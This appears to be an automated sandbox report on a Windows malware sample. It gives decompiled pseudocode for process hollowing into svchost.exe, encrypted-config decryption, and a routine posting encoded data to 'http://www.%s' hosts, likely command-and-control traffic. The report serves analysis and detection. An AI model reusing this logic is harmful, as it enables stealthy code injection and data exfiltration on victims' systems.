					if(CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24) != 0) {
						CloseHandle(_v24.hThread);
						_v8 = _v24.hProcess;
					}
				}
				return _v8;
			}

0x04001e66
0x04001e71
0x04001e8b
0x04001e93
0x04001ebc
0x04001ec2
0x04001ecb
0x04001ecb
0x04001ebc
0x04001ed4

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 04001EB4
CloseHandle.KERNEL32(?), ref: 04001EC2

Strings

D, xrefs: 04001E93

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: D
API String ID: 3712363035-2746444292
Opcode ID: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction ID: 8c18c5092416b0968d1e58d42d3dcefe862203e4accbbf984a8d418911b9581a
Opcode Fuzzy Hash: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction Fuzzy Hash: 5C011275A4420CABEB10DF90DD45FEE77B9AB04704F148119E6087B2C0D775AA45C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0040230C Relevance: 5.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0040232F
free.MSVCRT ref: 00402375
LeaveCriticalSection.KERNEL32 ref: 00402381

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 711738e446fe3b7edafeffa79fbdd3347046ec6280da55ba19de0ab90e35ac8b
Instruction ID: 24174dcb29c75eb10321d4f28545725da20b22b3dd9ddbd94471567b296ec203
Opcode Fuzzy Hash: 711738e446fe3b7edafeffa79fbdd3347046ec6280da55ba19de0ab90e35ac8b
Instruction Fuzzy Hash: 5D011B703042069BCB00EF75DA8892FB7E5BB54308754847E9848B73C1E6BCD980DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040222C Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,004023C1,?,?,?,?,?,00401C54), ref: 0040224B
TlsGetValue.KERNEL32(?,?,?,?,004023C1,?,?,?,?,?,00401C54), ref: 00402261
GetLastError.KERNEL32(?,?,?,?,?,004023C1,?,?,?,?,?,00401C54), ref: 00402269
LeaveCriticalSection.KERNEL32(?,?,?,?,004023C1,?,?,?,?,?,00401C54), ref: 0040228C

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: b0d1a973718a68e77ae23a23f47d086d7b5acdbac98e9d8a1e001a8f832c1e7e
Instruction ID: d59e870dec7d302afa92fc910524551bdf3aec598eae15ddc7b5345af43b2dbe
Opcode Fuzzy Hash: b0d1a973718a68e77ae23a23f47d086d7b5acdbac98e9d8a1e001a8f832c1e7e
Instruction Fuzzy Hash: 28F0AD716046109BCF10BFE59A89A9F77E8EE04318B0000BEE840B32C1E3B899048AED

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: pigalicapi.exePID: 6056, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	28.5%
Dynamic/Decrypted Code Coverage:	99.6%
Signature Coverage:	0%
Total number of Nodes:	1330
Total number of Limit Nodes:	25

Executed Functions

Function 04004BA0 Relevance: 63.8, APIs: 33, Strings: 3, Instructions: 800
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04004BA0(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				signed int _v28;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				void* _v48;
				long _v52;
				void* _v56;
				char* _v60;
				CHAR* _v64;
				intOrPtr* _v68;
				intOrPtr _v72;
				int _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				void* _v92;
				void* _v96;
				void* _v100;
				void* _v124;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				char _v420;
				CHAR* _v424;
				int _v428;
				void* _v432;
				long _v436;
				short _v948;
				void* _v952;
				void* _v956;
				void* _v960;
				void* _v964;
				long _v968;
				void* _t306;
				void* _t307;
				void* _t308;
				int _t312;
				int _t318;
				long _t328;
				void* _t333;
				void* _t351;
				long _t358;
				void* _t637;
				void* _t638;

				__imp__CoInitialize(0);
				_v8 = _a4;
				if(_v8 == 0) {
					L83:
					__imp__CoUninitialize();
					return 0;
				} else {
					E04007B70( &_v36, _v8, 0x1c);
					_t638 = _t637 + 0xc;
					SetEvent( *(_v8 + 0x10));
					_v40 = 0xea60;
					_v44 = _v28;
					while(_v44 <= _v24 && (( *(_v12 + 0x28) & 0x000000ff) != 0 || WaitForSingleObject( *(_v12 + 0x24), 0xa) != 0)) {
						_v64 = _v44 * 0x28 + _v36;
						_v52 = 0x100000;
						_t306 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v48 = _t306;
						_t307 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v56 = _t307;
						_t308 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v60 = _t308;
						if(_v48 == 0 || _v56 == 0 || _v60 == 0) {
							L82:
							_v44 = _v44 + 1;
							continue;
						} else {
							_v68 = _v48;
							_v80 = 0;
							while(_v80 < 0x100) {
								_v80 = _v80 + 1;
							}
							_v72 = _v68 - _v48;
							if( *0x40118a4 == 2 &&  *((intOrPtr*)(_v16 + 0x453)) > 0 &&  *((intOrPtr*)(_v16 + 0x453)) < 0x100000 - _v72 &&  *((intOrPtr*)(_v16 + 0x457)) != 0) {
								 *_v68 =  *((intOrPtr*)(_v16 + 0x453));
								_v68 = _v68 + 4;
								E04007B70(_v68,  *((intOrPtr*)(_v16 + 0x457)),  *((intOrPtr*)(_v16 + 0x453)));
								_t638 = _t638 + 0xc;
								_v68 = _v68 +  *((intOrPtr*)(_v16 + 0x453));
							}
							_v72 = _v68 - _v48;
							_t312 = E04008370(_v48, _v72, _v56, 0x100000); // executed
							_t638 = _t638 + 0x10;
							_v76 = _t312;
							if(_v76 <= 0) {
								L81:
								VirtualFree(_v48, 0, 0x8000); // executed
								VirtualFree(_v56, 0, 0x8000); // executed
								VirtualFree(_v60, 0, 0x8000); // executed
								goto L82;
							} else {
								_v424 = "http://www.%s";
								_t318 = lstrlenA(_v64);
								if(_t318 + lstrlenA(_v424) >= 0x100) {
									goto L81;
								}
								wsprintfA( &_v420, _v424, _v64);
								_t638 = _t638 + 0xc;
								_v428 = 0x100000;
								if(CryptBinaryToStringA(_v56, _v76, 0x40000001, _v60,  &_v428) == 0) {
									goto L81;
								}
								_v956 = 0;
								_v432 = 0;
								MultiByteToWideChar(1, 1,  &_v420, 0xffffffff,  &_v948, 0x100);
								_v952 = 0;
								_t328 = E040017D0( &_v420,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
								_t638 = _t638 + 0x1c;
								_v436 = _t328;
								if(_v436 <= 0) {
									L79:
									if(_v956 != 0) {
										VirtualFree(_v956, 0, 0x8000); // executed
									}
									goto L81;
								}
								if(_v436 < 0x100 || _v952 >= 0x1f4) {
									if( *0x40118a4 != 1) {
										goto L70;
									}
									VirtualFree(_v956, 0, 0x8000); // executed
									_v956 = 0;
									_v432 = 0;
									_v960 = 0;
									while(_v960 < 4) {
										_t358 = E040017D0(_v428,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
										_t638 = _t638 + 0x1c;
										_v436 = _t358;
										if(_v436 > 0x100 || _v952 < 0x1f4) {
											goto L70;
										} else {
											_v960 = _v960 + 1;
											continue;
										}
									}
									goto L70;
								} else {
									L70:
									if(_v436 > 0) {
										EnterCriticalSection(_v12 + 0xc);
										if( *(_v12 + 4) != 0) {
											_v968 =  *(_v12 + 8) + _v436;
											_t333 = VirtualAlloc(0, _v968, 0x3000, 4); // executed
											_v964 = _t333;
											if(_v964 != 0) {
												if(GetTickCount() % 2 != 0) {
													E04007B70(_v964, _v956, _v436);
													E04007B70(_v964 + _v436,  *(_v12 + 4),  *(_v12 + 8));
													_t638 = _t638 + 0x18;
												} else {
													E04007B70(_v964,  *(_v12 + 4),  *(_v12 + 8));
													E04007B70(_v964 +  *(_v12 + 8), _v956, _v436);
													_t638 = _t638 + 0x18;
												}
												 *(_v12 + 8) =  *(_v12 + 8) + _v436;
												VirtualFree( *(_v12 + 4), 0, 0x8000); // executed
												 *(_v12 + 4) = _v964;
											}
										} else {
											_t351 = VirtualAlloc(0, _v436, 0x3000, 4); // executed
											 *(_v12 + 4) = _t351;
											E04007B70( *(_v12 + 4), _v956, _v436);
											_t638 = _t638 + 0xc;
											 *(_v12 + 8) = _v436;
										}
										LeaveCriticalSection(_v12 + 0xc);
									}
									goto L79;
								}
							}
						}
					}
					goto L83;
				}
			}

APIs

CoInitialize.OLE32(00000000), ref: 04004BAC
SetEvent.KERNEL32(?), ref: 04004BDB
WaitForSingleObject.KERNEL32(0000EA60,0000000A), ref: 04004C19
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C49
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C60
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C77
CoUninitialize.OLE32 ref: 040056F0

Strings

pigalicapi, xrefs: 04005041, 04005080
, xrefs: 04004EF0
`, xrefs: 04004BE1

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual$EventInitializeObjectSingleUninitializeWait
String ID: $`$pigalicapi
API String ID: 1834614700-42206024
Opcode ID: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction ID: f4bd0befb8abd7887e3d73177c72bf7f141d25b4899fa760b57ca1a426edb567
Opcode Fuzzy Hash: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction Fuzzy Hash: 39628DB1D00218ABFB14DBA0DC84FEDB7B9AF49309F04C559E6057B281E775AA84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 040020B0 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040020B0(intOrPtr _a4, signed char _a8, CHAR* _a12) {
				long _v8;
				void* _v12;
				char _v276;
				struct _CONTEXT _v996;
				struct _PROCESS_INFORMATION _v1012;
				intOrPtr _v1016;
				struct _STARTUPINFOA _v1092;
				intOrPtr _v1096;
				void _v1100;
				signed int _v1104;
				CHAR* _t121;
				void* _t128;
				int _t130;
				void* _t132;
				int _t140;
				int _t143;
				int _t145;
				int _t148;
				void* _t263;
				void* _t265;
				void* _t266;

				if(_a4 == 0) {
					L26:
					return 0;
				}
				GetEnvironmentVariableA("SystemRoot",  &_v276, 0x104);
				_t121 = lstrcatA( &_v276, "\\system32\\svchost.exe");
				if(_a12 != 0) {
					lstrcatA( &_v276, " ");
					_t121 = lstrcatA( &_v276, _a12);
				}
				E04007D20(_t121,  &_v1012, 0, 0x10);
				E04007D20( &_v1092,  &_v1092, 0, 0x44);
				_t265 = _t263 + 0x18;
				_v1092.cb = 0x44;
				_v1096 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_v1016 = _v1096 + ( *(_v1096 + 0x14) & 0x0000ffff) + 0x18;
				_v8 =  *((intOrPtr*)(_v1096 + 0x50));
				_t128 = VirtualAlloc(0, _v8, 0x3000, 0x40); // executed
				_v12 = _t128;
				if(_v12 != 0) {
					_t130 = CreateProcessA(0,  &_v276, 0, 0, 0, 4, 0, 0,  &_v1092,  &_v1012); // executed
					if(_t130 != 0) {
						_t132 = VirtualAllocEx(_v1012.hProcess,  *(_v1096 + 0x34), _v8, 0x3000, 0x40); // executed
						_v1100 = _t132;
						if(_v1100 != 0) {
							L10:
							E04007B70(_v12, _a4,  *((intOrPtr*)(_v1096 + 0x54)));
							_t266 = _t265 + 0xc;
							_v1104 = 0;
							while(_v1104 < ( *(_v1096 + 6) & 0x0000ffff)) {
								if((_a8 & 0x000000ff) != 0) {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								} else {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0x14 + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								}
								_v1104 = _v1104 + 1;
							}
							E040026D0(_v12, _v1100);
							_t140 = WriteProcessMemory(_v1012.hProcess, _v1100, _v12, _v8, 0); // executed
							if(_t140 != 0) {
								VirtualFree(_v12, 0, 0x8000); // executed
								_v996.ContextFlags = 0x10007;
								_t143 = GetThreadContext(_v1012.hThread,  &_v996); // executed
								if(_t143 != 0) {
									_t145 = WriteProcessMemory(_v1012.hProcess, _v996.Ebx + 8,  &_v1100, 4, 0); // executed
									if(_t145 != 0) {
										_v996.Eax = _v1100 +  *((intOrPtr*)(_v1096 + 0x28));
										_t148 = SetThreadContext(_v1012.hThread,  &_v996); // executed
										if(_t148 == 0) {
											TerminateProcess(_v1012.hProcess, 0);
											CloseHandle(_v1012.hThread);
											CloseHandle(_v1012.hProcess);
											goto L26;
										}
										ResumeThread(_v1012.hThread); // executed
										return _v1012.hProcess;
									}
									TerminateProcess(_v1012.hProcess, 0);
									CloseHandle(_v1012.hProcess);
									CloseHandle(_v1012.hThread);
									return 0;
								}
								TerminateProcess(_v1012.hProcess, 0);
								CloseHandle(_v1012.hProcess);
								CloseHandle(_v1012.hThread);
								return 0;
							}
							TerminateProcess(_v1012.hProcess, 0);
							CloseHandle(_v1012.hProcess);
							CloseHandle(_v1012.hThread);
							VirtualFree(_v12, 0, 0x8000);
							return 0;
						}
						_v1100 = VirtualAllocEx(_v1012.hProcess, 0, _v8, 0x103000, 0x40);
						if(_v1100 != 0) {
							goto L10;
						}
						TerminateProcess(_v1012.hProcess, 0);
						CloseHandle(_v1012);
						CloseHandle(_v1012.hThread);
						VirtualFree(_v12, 0, 0x8000);
						return 0;
					}
					VirtualFree(_v12, 0, 0x8000);
					return 0;
				} else {
					return 0;
				}
			}

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 040020D4
lstrcatA.KERNEL32(?,\system32\svchost.exe), ref: 040020E6
lstrcatA.KERNEL32(?,0400C38C), ref: 040020FE
lstrcatA.KERNEL32(?,00000000), ref: 0400210F
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 04002187
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 040021C0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040021D5
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 040021FE
VirtualAllocEx.KERNEL32(?,00000000,?,00103000,00000040), ref: 04002227
TerminateProcess.KERNEL32(?,00000000), ref: 04002245
CloseHandle.KERNEL32(?), ref: 04002252
CloseHandle.KERNEL32(?), ref: 0400225F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002270

Strings

\system32\svchost.exe, xrefs: 040020DA
D, xrefs: 0400213B
SystemRoot, xrefs: 040020CF

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D$SystemRoot$\system32\svchost.exe
API String ID: 1819736980-1559310322
Opcode ID: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction ID: 24de31acf85f81f6cd7956eb3c6d21bf067972eab508d3ad9c1f9881985dd567
Opcode Fuzzy Hash: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction Fuzzy Hash: 27D13F71A44215ABEB28DF54CC94FAE77B9FB48304F0486D8F609B7281D678AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 040047F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E040047F0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v5;
				long* _v12;
				char _v28;
				char _v764;
				char _v780;
				intOrPtr _v784;
				char _v788;
				int _v792;
				int _v796;
				intOrPtr _v800;
				long* _v804;
				int _v808;
				int _v812;
				char _v816;
				int _v820;
				char _v824;
				char _v828;
				char _v844;
				int _t61;
				char* _t67;
				intOrPtr _t68;
				int _t69;
				char* _t73;
				intOrPtr _t74;
				intOrPtr _t76;
				intOrPtr _t77;
				signed char _t78;
				void* _t109;

				_v5 = 0;
				if(_a4 == 0 || _a8 <= 0x300) {
					L25:
					return _v5;
				} else {
					_v12 = 0;
					_t61 = CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t61 == 0 && GetLastError() == 0x80090016) {
						CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
					}
					if(_v12 != 0) {
						_v788 = 0x10;
						_v784 = 0x10;
						_v792 = 0;
						while(_v792 < _a8 - 0x2ff) {
							E04007B70( &_v780, _a4 + _v792, 0x300);
							_t109 = _t109 + 0xc;
							_t67 =  &_v780;
							_v800 = _t67;
							_v796 = 0;
							__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v796);
							if(_t67 == 0) {
								L21:
								if((_v5 & 0x000000ff) == 0) {
									_v792 = _v792 + 1;
									continue;
								}
								break;
							}
							_t68 = _v800;
							__imp__CryptHashData(_v796, _t68, 0x10, 0);
							if(_t68 != 0) {
								_v804 = 0;
								_t69 = _v796;
								__imp__CryptDeriveKey(_v12, 0x6801, _t69, 1,  &_v804); // executed
								if(_t69 != 0) {
									_v812 = 0x2f0;
									_v808 = CryptDecrypt(_v804, 0, 1, 0,  &_v764,  &_v812);
									CryptDestroyKey(_v804);
									if(_v808 != 0) {
										_t73 =  &_v816;
										__imp__CryptCreateHash(_v12, 0x8003, 0, 0, _t73);
										if(_t73 != 0) {
											_t74 = _v816;
											__imp__CryptHashData(_t74,  &_v780, 0x2f0, 0);
											if(_t74 != 0) {
												_v820 = 0;
												_v824 = 4;
												_t76 = _v816;
												__imp__CryptGetHashParam(_t76, 4,  &_v820,  &_v824, 0);
												if(_t76 != 0) {
													_v828 = 0x10;
													_t77 = _v816;
													__imp__CryptGetHashParam(_t77, 2,  &_v844,  &_v828, 0);
													if(_t77 != 0) {
														_t78 = E04007C70( &_v28,  &_v844,  &_v28, 0x10);
														_t109 = _t109 + 0xc;
														if((_t78 & 0x000000ff) != 0) {
															E04007B70(_a12,  &_v780, 0x300);
															_t109 = _t109 + 0xc;
															_v5 = 1;
														}
													}
												}
											}
											__imp__CryptDestroyHash(_v816);
										}
									}
								}
							}
							__imp__CryptDestroyHash(_v796);
							goto L21;
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L25;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
GetLastError.KERNEL32 ref: 04004834
CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400481F
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04004845

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$AcquireContextCreateData$DecryptDeriveDestroyErrorLastParam
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 2739279601-947817771
Opcode ID: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction ID: 68028e15a08110d1318f396c41aabee13b9dff780772823a15a50aa733777c46
Opcode Fuzzy Hash: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction Fuzzy Hash: 7E71DF71A54318ABFB65CF50CC45BED77BCAB48B04F408598A605BA1C0DBB9ABC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04003B00 Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 302
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			_entry_() {
				intOrPtr _v8;
				char _v1148;
				signed char _v1149;
				intOrPtr _v1156;
				char _v1556;
				char _v9556;
				long _v9560;
				char _v9564;
				char _v12068;
				signed int _v12072;
				char _v12076;
				long _v12080;
				char _v12081;
				long _v12088;
				long _v12092;
				long _v12096;
				signed int _v12100;
				signed char _v12101;
				long _v12108;
				signed int _v12112;
				void* _v12116;
				signed char _t69;
				intOrPtr _t74;
				signed char _t77;
				signed char _t79;
				signed int _t80;
				signed char _t85;
				signed char _t86;
				signed char _t87;
				intOrPtr _t88;
				char* _t89;
				signed int _t97;
				void* _t98;
				signed int _t100;
				signed char _t102;
				signed char _t104;
				signed char _t106;
				signed char _t110;
				signed int _t116;
				signed int _t118;
				char _t125;
				signed int _t138;
				signed int _t140;
				intOrPtr _t143;
				signed int _t159;
				signed int _t161;
				void* _t163;
				void* _t165;
				void* _t173;
				void* _t177;

				E04001000(0x2f50);
				_v8 = E04003130();
				E04002ED0(_v8);
				GetModuleFileNameA(0, "C:\Users\engineer\pigalicapi.exe", 0x208);
				SetUnhandledExceptionFilter(E04005DB0); // executed
				__imp__CoInitialize(0); // executed
				_t69 = E04004510(_v8, 0x4013c88); // executed
				_t165 = _t163 + 0xc;
				if((_t69 & 0x000000ff) == 0) {
					L39:
					ExitProcess(0);
				}
				E04007D20( &_v1148,  &_v1148, 0, 0x46b);
				E04005700( &_v1148); // executed
				_t143 =  *0x40118a0; // 0x4013b88
				_t74 = E04005A00( &_v1148, _t143, 0xff); // executed
				_v1156 = _t74;
				E04007D20(_t74, "Kobucgekyxca", 0, 0x12c);
				E04009400( &_v1148, "Kobucgekyxca", 0xa); // executed
				_t77 = E040099F0(); // executed
				 *0x401435a = _t77;
				 *0x401435d = E04006060(); // executed
				_t79 = E04005E00(); // executed
				 *0x401435e = _t79;
				_t80 = StrStrIA("C:\Users\engineer\pigalicapi.exe", "svchost.exe"); // executed
				asm("sbb eax, eax");
				 *0x4014362 =  ~( ~_t80);
				E04001120("C:\Users\engineer\pigalicapi.exe", "pigalicapi",  *0x401435a & 0x000000ff,  *0x4014362 & 0x000000ff, 0x401436c); // executed
				_t85 = E04005E30(0); // executed
				 *0x401435b = _t85;
				 *0x401435f = 1; // executed
				_t86 = E04006CF0(); // executed
				_v1149 = _t86;
				_t87 = E04005F30(); // executed
				 *0x401435c = _t87 & 0x000000ff | _v1149 & 0x000000ff;
				_t88 = E04009B90(0xffffffff);
				_t173 = _t165 + 0x50;
				 *0x4014364 = _t88;
				_t89 =  &_v1556;
				_push(_t89);
				_push(0x202); // executed
				L0400B1E6(); // executed
				if(_t89 != 0) {
					goto L39;
				} else {
					_t125 =  *0x40119a8; // 0x1d
					_v12081 = _t125;
					 *0x4014378 = 0x10;
					if(( *0x401435f & 0x000000ff) != 0) {
						_t118 =  *0x4014378; // 0x1b
						 *0x4014378 = _t118 | 0x00000008;
					}
					if(( *0x401435c & 0x000000ff) != 0) {
						_t161 =  *0x4014378; // 0x1b
						 *0x4014378 = _t161 | 0x00000001;
					}
					if(( *0x401435b & 0x000000ff) != 0) {
						_t140 =  *0x4014378; // 0x1b
						 *0x4014378 = _t140 | 0x00000004;
					}
					if(( *0x401435e & 0x000000ff) != 0) {
						_t116 =  *0x4014378; // 0x1b
						 *0x4014378 = _t116 | 0x00000002;
					}
					if(( *0x4014360 & 0x000000ff) != 0) {
						_t159 =  *0x4014378; // 0x1b
						 *0x4014378 = _t159 | 0x00000020;
					}
					_t91 =  *0x4014361 & 0x000000ff;
					if(( *0x4014361 & 0x000000ff) != 0) {
						_t138 =  *0x4014378; // 0x1b
						 *0x4014378 = _t138 | 0x00000040;
					}
					_v9564 = 0x9c3;
					E04007D20(_t91,  &_v12068, 0, 0x9c4);
					E0400A700();
					E0400A4B0( &_v12068,  &_v9564, 0x4013cb6,  *0x4013cb4 & 0x0000ffff);
					_v9560 = 0;
					_t97 = E04005B50( &_v12068, ";",  &_v9560, 0); // executed
					_v12072 = _t97;
					_v12092 = 0;
					_v12080 = 0;
					_v12076 = 0x4b0;
					_t98 = E04008A70(0x4012c34,  &_v12076, 0x4012ba8, 0x8c, 0x400e008, 0x254); // executed
					_t177 = _t173 + 0x44;
					if(_t98 != 0) {
						E04007D20( &_v9556,  &_v9556, 0, 0x1f40);
						E040078D0(0x4012c34, 0xc8,  &_v9556, 0xc8);
						_t177 = _t177 + 0x1c;
						_v12092 =  &_v9556;
						_v12080 = 0xc8;
					}
					_v12088 = 0;
					L17:
					_v12101 = 0;
					_v12108 = 0x1d4c0;
					_v12096 = 0;
					_t100 = E04007970( &_v12096); // executed
					_v12100 = _t100;
					_t102 = E04004020(_v12096, _v12100,  &_v1148, 1, 2, 0);
					_t177 = _t177 + 0x1c;
					if((_t102 & 0x000000ff) != 0) {
						_v12101 = 1;
					} else {
						_t104 = E04004020(_v12092, _v12080,  &_v1148, 1, 5, 0);
